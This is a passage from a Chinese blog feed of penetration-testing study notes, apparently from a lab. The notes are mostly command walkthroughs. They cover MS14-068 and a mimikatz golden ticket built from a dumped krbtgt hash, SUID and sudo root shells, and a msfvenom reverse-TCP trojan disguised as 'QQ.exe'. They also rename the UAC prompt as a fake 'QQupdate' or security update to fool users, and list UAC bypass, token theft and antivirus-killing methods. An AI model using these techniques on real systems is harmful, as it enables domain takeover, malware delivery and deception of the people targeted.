&lt;p&gt;​	MS14-068是KDC的一个Windows漏洞，它允许经过身份验证的用户在Kerberos票据中，也就是TGT插入任意的一个PAC(用户权限)，该漏洞是一个dll的漏洞，在密钥分发中心的洞，也就是域控的洞，这里有一个&lt;code&gt;前提是高权限&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​	可以在GitHub上下载WindowsExploits，里面有非常多的漏洞，其中就有这个MS14-068&lt;/p&gt;
&lt;p&gt;补丁: KB3011780&lt;/p&gt;
&lt;h3&gt;6.2 利用条件&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;获取一台主机权限&lt;/li&gt;
&lt;li&gt;收集到计算机用户的账户密码、SID、域名信息、没打补丁&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6.3 漏洞利用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;模板:

ms14-068.exe -u &amp;lt;用户名@完整域名&amp;gt; -s &amp;lt;域SID&amp;gt; -d &amp;lt;域控IP地址&amp;gt; -p &amp;lt;用户密码&amp;gt; 

举例:

ms14-068.exe -u administrator@csb.com -s S-1-5-21-2436503632-2301858049-3091047699-1106 -d 10.1.1.1 -p Cc261360*

# 要伪造谁的就要打谁的密码，用户密码和用户要一一对应
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/c2869b0b91-image-20240130233105459.png&quot; alt=&quot;image-20240130233105459&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现在桌面上生成了一个票据(&lt;code&gt;TGT_administrator@csb.com.ccache&lt;/code&gt;)，现在回到mimikatz这里来，先debug提权一下(&lt;code&gt;privilege::debug&lt;/code&gt;)，然后使用kerberos这个模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerberos::ptc TGT_administrator@csb.com.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/b5079e4167-image-20240130233505625.png&quot; alt=&quot;image-20240130233505625&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;misc::cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/d0000f1ae1-image-20240130233758278.png&quot; alt=&quot;image-20240130233758278&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;会弹出一个刚才伪造的高权限用户的cmd，dir \10.1.1.1\c$成功查看到域控用户C盘的信息&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/27b512c98a-image-20240130233910888.png&quot; alt=&quot;image-20240130233910888&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;七、PTT(pass-the-ticket)黄金票据&lt;/h2&gt;
&lt;p&gt;​	KDC的作用是生成任意用户的TGT，那什么条件能够让KDC生成任意用户的TGT呢？那这个问题我们就得回到kerberos认证过程，那么在Windows的认证过程中，客户端将自己的信息发送给KDC后，KDC是怎么加密出来的呢？这边提到一个非常重要的密钥，可能说在这个域中，我的密码是xxx，我生成了这么一段哈希，但是在另一个域中，我相同的密码却是不一样的哈希，这是因为每个域中都有一串独立的哈希，这个独立的哈希在创建域的时候就会自动产生，那这个哈希是什么？-&amp;gt;&lt;code&gt;krbtgt这个用户的密码hash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​	我们一开始就有提到过krbtgt这个用户非常重要，因为它的密码的hash值是作为密钥来使用的，用它密码的hash值来做成密钥生成任意用户的TGT，那么就很简单了，如果我们能拿到krbtgt这个用户的密码，是不是就可以伪造任意用户的TGT了？但是要注意一下，krbtgt这个用户它在域控上，所以你要使用黄金票据，就意味着拿到了域控权限&lt;/p&gt;
&lt;p&gt;​	黄金票据这个东西不能够帮助你做到一个突破，它不是突破的洞，&lt;code&gt;它是后门&lt;/code&gt;，它是一个非常霸道非常无敌的后门&lt;/p&gt;
&lt;h3&gt;7.1 使用条件&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;域名称、域SID&lt;/p&gt;
&lt;p&gt;csb\administrator S-1-5-21-2436503632-2301858049-3091047699-500&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;域名称、域SID: whoami /user&lt;/li&gt;
&lt;li&gt;要伪造的用户名:net user /domain&lt;/li&gt;
&lt;li&gt;krbtgt的用户名:mimikatz挂到域控上面直接去dump&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 发起攻击&lt;/h3&gt;
&lt;p&gt;为了方便，我们直接在域控服务器上进行操作，老样子先进入mimikatz.exe然后提权privilege::debug提权，然后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;lsadump::dcsync /user:krbtgt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/4b4e308d36-image-20240131000435196.png&quot; alt=&quot;image-20240131000435196&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	那这个时候我们要复制里面的内容有可能就会发现闪退了，为什么会出现这种情况？在某些设备，你用mimikatz并且复制mimikatz的内容可能会导致闪退，同时，电脑系统会变得异常卡顿，因为分析内存本身就是逆天而行，这时候出bug了遭雷劈了，这时候整个系统就开始出现一些问题了，这时候重启是最快的办法，但是实战中重启不太现实，所以在mimikatz输入这些命令之前，我们使用log命令，让minikatz开启一个日志服务，它会在桌面上文件日志，你输入的东西和回显都会生成在里面，之前有提到过，这里再重复一下&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/cb6e058268-image-20240131001638480.png&quot; alt=&quot;image-20240131001638480&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 2024/1/26 19:59:55
Object Security ID   : S-1-5-21-2436503632-2301858049-3091047699-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: d1ffa93e37a2a8b1431ca00ab8d427f7
    ntlm- 0: d1ffa93e37a2a8b1431ca00ab8d427f7
    lm  - 0: 9b3c5456616c7da12caf802f97d7c93d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在要素齐全了&lt;/p&gt;
&lt;p&gt;​	那注意一下我们现在要做什么？是在生成票据，那一个用户只有一个票据，那如果说一个用户有票据了你再给它导入一个票据就会发现导入不进去，那这个时候就得把我们原先的票据清空再导入新的票据，那要注意这是一个高风险的动作，如果说你生成出来的票据是不可用的，同时你清空了当前票据，那就意味着你的用户脱离了域的范围，可能没法进行后续渗透了，所以你得保证你的票据是没有问题的，但是大概率的情况下你的票据都没有问题，只能说小概率有可能会出现一点bug，就没办法导入票据什么的这种情况&lt;/p&gt;
&lt;p&gt;那我们回来到Windows 7的mimikatz这里&lt;code&gt;清空票据&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerberos::purge
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/80109148cd-image-20240131002426660.png&quot; alt=&quot;image-20240131002426660&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;模板:

kerberos::golden /user:&amp;lt;伪造的用户名&amp;gt; /domain:&amp;lt;完整域名&amp;gt; /krbtgt:&amp;lt;krbtgt用户的Hash NTLM&amp;gt; /sid:&amp;lt;域SID(最后那一部分不用)&amp;gt; /ticket:&amp;lt;要保存的文件名&amp;gt;

举例:

kerberos::golden /user:administrator /domain:csb.com /krbtgt:d1ffa93e37a2a8b1431ca00ab8d427f7 /sid:S-1-5-21-2436503632-2301858049-3091047699 /ticket:csb.kirbr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/b7cbce54fd-image-20240131003022972.png&quot; alt=&quot;image-20240131003022972&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerberos::ptt csb.kirbr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/5ac64dea83-image-20240131003308407.png&quot; alt=&quot;image-20240131003308407&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;misc::cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/7ba4a75384-image-20240131003403346.png&quot; alt=&quot;image-20240131003403346&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一样会弹出一个刚才伪造的高权限用户的cmd，dir \10.1.1.1\c$成功查看到域控用户C盘的信息&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/55458e4529-image-20240131003501566.png&quot; alt=&quot;image-20240131003501566&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;八、结束语&lt;/h2&gt;
&lt;p&gt;​	当然域内还有一些其他漏洞，以上讲述的都是一些最常用而且最好用的漏洞，那还有一些其他的比较偏门的漏洞遇到了才能看到那种情况，一般来说我们都会通过一些现成的网站来获取对方系统版本的漏洞，网络上都会有一些现成的网站需要自己去寻找&lt;/p&gt;
</content:encoded></item><item><title>提权、社工与钓鱼笔记</title><link>https://wangyi187.top/posts/privsec-social-phishing/</link><guid isPermaLink="true">https://wangyi187.top/posts/privsec-social-phishing/</guid><description>0x07 提权&amp;社工&amp;钓鱼 一、提权 1、Linux的指令提权 1.1 SUID 需要用到一个好用的网址 https://gtfobins.github.io/ 再回顾一下Linu</description><pubDate>Tue, 30 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x07 提权&amp;amp;社工&amp;amp;钓鱼&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、提权&lt;/h2&gt;
&lt;h3&gt;1、Linux的指令提权&lt;/h3&gt;
&lt;h4&gt;1.1 SUID&lt;/h4&gt;
&lt;p&gt;需要用到一个好用的网址&lt;/p&gt;
&lt;p&gt;https://gtfobins.github.io/&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/a2b68d486d-image-20240125163630550.png&quot; alt=&quot;image-20240125163630550&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再回顾一下Linux中文件权限的概念&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/70305d4742-1.jpg&quot; alt=&quot;1&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@csb:/etc# which find
/usr/bin/find
root@csb:/etc# cd /usr/bin/
root@csb:/usr/bin# ll find
-rwxr-xr-x 1 root root 320160 2月  18  2020 find*
root@csb:/usr/bin# chmod u+s find
root@csb:/usr/bin# ll find
-rwsr-xr-x 1 root root 320160 2月  18  2020 find*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那在加了一个-s是什么权限呢？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-s是一种特殊权限，可以让调用者在执行过程中临时拥有文件所有者的身份&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就譬如上述命令中find命令所有者的身份是root&lt;/p&gt;
&lt;p&gt;我们使用www-data这个一般用户去查看root目录下的东西可以发现没有权限&lt;/p&gt;
&lt;p&gt;但是这个时候我们通过find去找root下的文件却发现又可以了，这就是因为find带有-s的权限的，可以让我们临时拥有root用户的权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data -&amp;gt; find -&amp;gt; root -&amp;gt; find
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹shell反弹出来的shell权限取决于拿到shell的权限&lt;/p&gt;
&lt;p&gt;​	比如说我们去拿到一个webshell，在Linux下，webshell拿到的权限通常是www-data，因为都是用www-data去执行nginx或php，那这个时候我们webshell是用php去弹shell，那相当于php去执行一个/bin/bash或/bin/sh， 那php的权限是www-data，所以说我们/bin/bash的权限就是www-data，那简单的来说如果我们用root去执行一个/bin/bash，那我们拿到的权限就是一个root权限，就是你用什么身份去执行的shell，你拿到的就是什么shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data=&amp;gt;nginx、php
php=&amp;gt;/bin/bash
/bin/bash=&amp;gt;www-data
root=shell=&amp;gt;权限？=&amp;gt;root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	find这条命令的权限是root，我们在执行find的时候会短暂获得root权限，那如果我们在执行find的同时去执行/bin/bash会发送什么样的结果？(任意一个用户)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find=&amp;gt;/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们就会临时获得root权限&lt;/p&gt;
&lt;p&gt;不过这里抽象的地方就来了，find只是一个查找命令，它应该如何执行bash呢？官方给出了一个解决方案提供了一个接口&lt;/p&gt;
&lt;h5&gt;1&amp;gt;批量的查找系统里面有-s权限的可执行命令&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/77abb0e3d6-image-20240125174911226.png&quot; alt=&quot;image-20240125174911226&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;配合我们刚才说的GTFOBins网站查找提权指令&lt;/h5&gt;
&lt;p&gt;比如说这里有个/usr/bin/find，我们就在这个网站上查找find关键字，然后看SUID板块的指令进行提权(当然这里面还有像什么chsh、chfn之类的都可以把命令丢进网站进行尝试)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/4e1a5f6f17-image-20240125175239883.png&quot; alt=&quot;image-20240125175239883&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/0e19dbd054-image-20240125175208588.png&quot; alt=&quot;image-20240125175208588&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -exec /bin/sh -p \; -quit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/ba0b1a7b12-image-20240125175441859.png&quot; alt=&quot;image-20240125175441859&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;在查找的同时执行一条命令，因为find是-s的特殊权限可以临时拥有root权限，所以这条命令相当于用root权限去执行/bin/sh&lt;/p&gt;
&lt;p&gt;还有其他如果带有-s特殊权限的命令也可以，譬如python、nmap等&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/035a4724e7-image-20240125184054015.png&quot; alt=&quot;image-20240125184054015&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/6d8b5440ef-image-20240125184112406.png&quot; alt=&quot;image-20240125184112406&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;1.2 SUDO&lt;/h4&gt;
&lt;p&gt;比如说sudo find就是以root用户的权限去执行find这条命令&lt;/p&gt;
&lt;h5&gt;1&amp;gt;查看能用sudo提权的命令&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/af198aa8f5-image-20240125184613725.png&quot; alt=&quot;image-20240125184613725&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到（ALL:ALL）ALL意味着可以用sudo去执行全部命令，简单来说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ls -al /root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/97c7bd1f8c-image-20240125184940101.png&quot; alt=&quot;image-20240125184940101&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;利用sudo，我们可以用ubuntu这个用户去查看root用户下的文件，意味着sudo可以让后面的命令获得管理员权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是以root权限进入/bin/bash&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sudo的限制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在一些情况下需要输入密码&lt;/li&gt;
&lt;li&gt;（xxx:ALL）ALL中不一定会把所有命令的权限开放给你&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2、Windows的UAC提权(以MSF为例)&lt;/h3&gt;
&lt;p&gt;Windows提权我们就需要用到&lt;code&gt;UAC&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;什么是UAC？&lt;/p&gt;
&lt;p&gt;​	用户账户控制（User Account Control，简称UAC），这是一种通知用户是否对应用程序使用硬盘和系统文件授权，从而防止恶意程序损坏系统的机制。&lt;/p&gt;
&lt;p&gt;控制面板---&amp;gt;用户账户---&amp;gt;更改用户账户控制设置&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/d280435fd6-image-20240125201820629.png&quot; alt=&quot;image-20240125201820629&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/d7938a6fc4-image-20240125201929707.png&quot; alt=&quot;image-20240125201929707&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	弹出UAC就意味着这个程序在申请高权限，一旦点击是就意味着给他赋予了高权限，这个UAC就是控制是否为高权限的，UAC是Windows的一个安全功能，它可以防止对操作系统未经授权的修改，但&lt;code&gt;UAC不会主动阻止恶意软件的，没有杀毒功能，它的目的不是判断是否为恶意软件而是在没有用户许可的情况下恶意软件未授权行为的掌控，防止恶意软件私自去调用一些权限&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里我们就需要用到bypassUAC(用UAC进行一个绕过)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MSF

一、设置监听(msfconsole)

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show option # 查看参数配置

set lhost 0.0.0.0

set lport 4444 (如果原本就是4444端口就不用再设置)

run # 启动监听

后台监听(扩展)

handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp

jobs

jobs -k	ID	kill某ID进程

jobs -K		kill全部进程

二、生成木马(msfvenom)

再开一个终端窗口

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.138 lport=4444 -f exe -o QQ.exe	(kali服务端的ip地址为192.168.23.138，监听端口为4444)			# 会在当前目录下生成QQ.exe的木马文件

将输出在kali的QQ.exe拖入靶机Windows10中，关闭Windows10中的所有杀毒软件和实时防护，双击执行

三、木马执行(meterpreter)

getuid # 查看当前用户

bg # 返回上一进程

search ask 

# 找到这一条

43  exploit/windows/local/ask                                   2012-01-03       excellent  No     Windows Escalate UAC Execute RunAs

对应的ID是43

use 43 # 我们应用一下这个模块

show options # 查看这个板块需要配置什么参数

set session 1

set lhost 0.0.0.0

show options # 检查配置是否正确

run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/0531fb72de-image-20240125204253254.png&quot; alt=&quot;image-20240125204253254&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;正常人看到eTyEQMxSPsp.exe这个名字很大概率是不会点是的&lt;/p&gt;
&lt;p&gt;所以我们需要更改一个弹出的名字，就譬如QQupdata.exe&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set filename QQupdate.exe

 # 又或者命名为 Windows安全更新 病毒防护 等等
 
但是我们已经有这个session了，因此我们可以先看一下这个系统的进程

sessions 1

ps # 查看进程，看看有没有什么比较关键的进程啊，能够进行更新的，然后对症下药，命名伪装，主要用来唬住别人

# 实际上渗透过程就是一个不断信息收集和社工的过程，要一步一步配合起来使用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/e311dcf949-image-20240125205536000.png&quot; alt=&quot;image-20240125205536000&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/518d67db78-image-20240125204810348.png&quot; alt=&quot;image-20240125204810348&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/5bfeb0148f-image-20240125204908138.png&quot; alt=&quot;image-20240125204908138&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这个时候弹出的名字更有可能让人点击是&lt;/p&gt;
&lt;h5&gt;2.1 bypassUAC&lt;/h5&gt;
&lt;p&gt;那UAC既然是弹窗，那有没有办法bypass掉呢？&lt;/p&gt;
&lt;p&gt;有，但是存在概率问题，成功率不高&lt;/p&gt;
&lt;p&gt;MSF虽然有提供bypassUAC的模块但是不能百分百成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;search bypassuac

# 找到这一条(进程注入，这是使用可信任发布者证书来绕过UAC)

2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass

对应的ID是2

use 2

set session 1

set lhost 0.0.0.0

show options

run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/9e873b04d1-image-20240125210521115.png&quot; alt=&quot;image-20240125210521115&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看见由于版本差异导致不能bypassuac&lt;/p&gt;
&lt;p&gt;那我们可以再试试其他模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;search bypassuac

# 找到这一条(在之前的基础上，使用了反射式的dll注入技术)

3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)

对应的ID是3

use 3

set session 1

set lhost 0.0.0.0

show options

run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/5cea56da7c-image-20240125210849251.png&quot; alt=&quot;image-20240125210849251&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到由于版本原因还是嘎掉了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里的ID 2和3 是比较常用的bypassuac的两个模块&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;2.2 绕过杀毒的方法&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;自编码加密&lt;/li&gt;
&lt;li&gt;对抗杀毒的话，最简单粗暴的就是killav，只要权限比杀毒就能把它杀掉&lt;/li&gt;
&lt;li&gt;通过其他方法加载shellcode，就譬如通过某些特殊的知识或某些钩子调用shellcode，比如shellcode先载入到什么地方，然后内存再去读取里面的文件再去执行&lt;/li&gt;
&lt;li&gt;驱动，要知道驱动这个东西权限非常高，只要木马能载入到驱动这个东西权限都是拉满的，那killav的话不写驱动是杀不掉的，现在的360安装杀毒都安装到驱动上面去了，那这个时候你的木马想要跟它做一个强对抗硬碰硬(强对抗很容易反噬导致shell下线断开)，就至少也需要是驱动层面的木马，所以现在的都说写免杀基本上都是在写驱动，写驱动来对抗杀毒这么一个方法，你写的驱动层级比较高就可以尝试去killav&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3、Windows的提权(以CS为例 UAC-Token)&lt;/h3&gt;
&lt;p&gt;CS是默认对抗Windows使用的，一般不用Linux的木马&lt;/p&gt;
&lt;p&gt;CS=&amp;gt;默认两个提权模块:uac-dll、&lt;code&gt;uac-token&lt;/code&gt;(非常猛，提权率很高)&lt;/p&gt;
&lt;p&gt;​	在CS里面经常看到一个东西叫dll，&lt;code&gt;dll叫做动态链接库&lt;/code&gt;，像python有个import去引入xxx文件，那dll就类似于引入xxx文件这样的概念，那不管什么程序在Windows里面都会调用dll，那这个时候无非就是把你的木马dll文件替换到其他程序会调用的dll，而且dll这个东西是不会做本地校验的，所以可以随便替换，但前提是你的目标程序能够正常启动就行了，那这里的话也就是一个上线木马的方法，dll是比较常用的一个持久化的上线木马的方案，对方每次打开程序都会调用那个dll，那就相当于弹一个shell做一个持久化上线&lt;/p&gt;
&lt;h3&gt;4、Windows的错误权限配置(服务劫持)&lt;/h3&gt;
&lt;p&gt;​	Windows系统的服务文件在操作系统启动的时候就开始加载和执行了，那它们会在后台去调用一些可执行文件，那么在理论上，低权限用户是对高权限服务调用的可执行文件，是没有写权限的，如果说因为管理员的错误配置导致低权限用户对系统的服务拥有写权限的话，那么低权限用户就可以通过替换文件的方式来进行上线木马，对系统服务文件进行一个劫持，一旦劫持成功，这时候就会获取非常高的权限，就是system&lt;/p&gt;
&lt;p&gt;​	服务=&amp;gt;&lt;s&gt;可执行文件&lt;/s&gt;=&amp;gt;木马文件(服务的劫持)&lt;/p&gt;
&lt;p&gt;MSF自带一些模块可以对固定的文件尝试进行写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;search service_per

可以发现服务劫持有两块，一个是Windows一个是Linux，但是我们大多数都是用Windows，所以说

# 找到这一条Windows的

1  exploit/windows/local/service_permissions  2012-10-15       great      No     Windows Escalate Service Permissions Local Privilege Escalation

对应的ID是1

use 1

set session 1

set lhost 0.0.0.0

show options

run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个的要求比较高，所以很大概率是会失败的&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/6feb332e30-image-20240125213612951.png&quot; alt=&quot;image-20240125213612951&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;5、Windows的令牌窃取(Token)&lt;/h3&gt;
&lt;p&gt;​	令牌token是系统的一个临时密钥，实际上就相当于账号密码，或者说我们连接的那种key文件，密钥文件，它用来决定是否允许这个请求或判断，是来源于哪个用户的，注意，如果你拥有令牌，它允许在不提供密码或其他凭证的前提下去访问网络和系统资源，其实就是你拥有什么令牌就不需要什么密码，这个令牌是持续存储于系统之中的，除非是说你系统重新启动，那令牌有三个部分&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问令牌(Access Token):操作主体&lt;/li&gt;
&lt;li&gt;会话令牌(Session Token):唯一身份标识&lt;/li&gt;
&lt;li&gt;保密令牌(security Token):认证令牌、硬件令牌(U盾)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;首先在拿到meterpreter的前提下我们去载入令牌

use incognito # 载入令牌

list_tokens # 列出令牌

    -g  按唯一组名列出令牌
    -u  按唯一用户名列出令牌

list_tokens -u # 列出用户令牌
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/ca6688cb8c-image-20240125220544931.png&quot; alt=&quot;image-20240125220544931&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;因为是虚拟机，所以没有太多的用户，只有一个

impersonate_token &quot;DESKTOP-MAIOBAN\csb&quot; # 窃取令牌 impersonate_token &quot;令牌名称(主机名/用户名)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/7c8c737199-image-20240125220939977.png&quot; alt=&quot;image-20240125220939977&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;可以发现窃取成功了，但是没有什么意义啊，我窃取我自己，不过要注意这个操作并不是百分百成功
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6、Windows的自动提权(重点)&lt;/h3&gt;
&lt;p&gt;​	自动提取模块事实上不是自动的帮你去提权，而是做一个数据库的检索，首先它会获取你指定session的版本和一些信息，那这个时候它就会在所有数据库中去检索适配这个版本的漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;search sugg

# 找到这一条

3   post/multi/recon/local_exploit_suggester                                             normal     No     Multi Recon Local Exploit Suggester

对应的ID是3

use 3

set session 1

show options

run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/22c8583713-image-20240125223010164.png&quot; alt=&quot;image-20240125223010164&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
